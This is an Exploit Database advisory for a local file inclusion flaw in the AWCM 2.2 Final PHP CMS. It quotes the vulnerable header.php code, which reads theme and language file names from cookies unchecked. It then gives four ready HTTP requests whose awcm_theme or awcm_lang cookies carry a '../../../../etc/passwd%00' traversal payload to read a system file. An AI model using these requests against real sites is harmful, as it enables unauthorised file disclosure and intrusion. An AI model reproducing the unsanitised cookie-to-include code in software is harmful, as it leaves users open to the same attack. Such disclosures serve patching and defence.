AWCM 2.2 Final – Local File Inclusion

• Exploit Database
• 17 阅读

• 作者： Cucura
  日期： 2011-01-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/16049/

• [+]Exploit Title: [awcm v2.2 final Local File Inclusion]
  [+]Date: [26-01-2011]
  [+]Author: Cucura , Ste@lth (Bl@ck_Falc0n)
  [+]Software Link: [www.awcm-cms.com]
  [+]Version: [v2.2]
  [+]CVE : - 
  [+]Contact: Blackcucura[at]Gmail.com
  http://sourceforge.net/projects/awcm/files/
  -----------------------------------------------------------------
  
  Vuln C0dein header.php
  
  if(isset($_COOKIE['awcm_theme'])) {
  	$theme_file = $_COOKIE['awcm_theme'];
  } else {
  	$theme_file = $mysql_maininfo_row['defult_theme'];
  }
  
  if(isset($_COOKIE['awcm_lang'])) {
  	$lang_file = $_COOKIE['awcm_lang'];
  } else {
  	$lang_file = $mysql_maininfo_row['defult_language'];
  }
  
  
  -----------------------------------------------------------------
  
  
  [+]Exploit: http://target/awcm/index.php
  
  	GET http://192.168.43.173/awcm/index.php HTTP/1.0
  	Cookie: awcm_theme=../../../../etc/passwd%00; 
  
  
  [+]Exploit: http://target/awcm/index.php
  
  	GET http://192.168.43.173/awcm/index.php HTTP/1.0
  	Cookie: awcm_lang=../../../../etc/passwd%00; 
  
  
  [+]Exploit: http://target/awcm/header.php
  
  	GET http://192.168.43.173/awcm/header.php HTTP/1.0
  	Cookie: awcm_lang=../../../../etc/passwd%00; 
  
  
  [+]Exploit: http://target/awcm/header.php
  
  	GET http://192.168.43.173/awcm/header.php HTTP/1.0
  	Cookie: awcm_theme=../../../../etc/passwd%00; 
  
  
  -----------------------------------------------------------------
  Greetz : SpeeDr00t, ReDr0se, InsideJ , eidisky Bl@ck Falc0n Team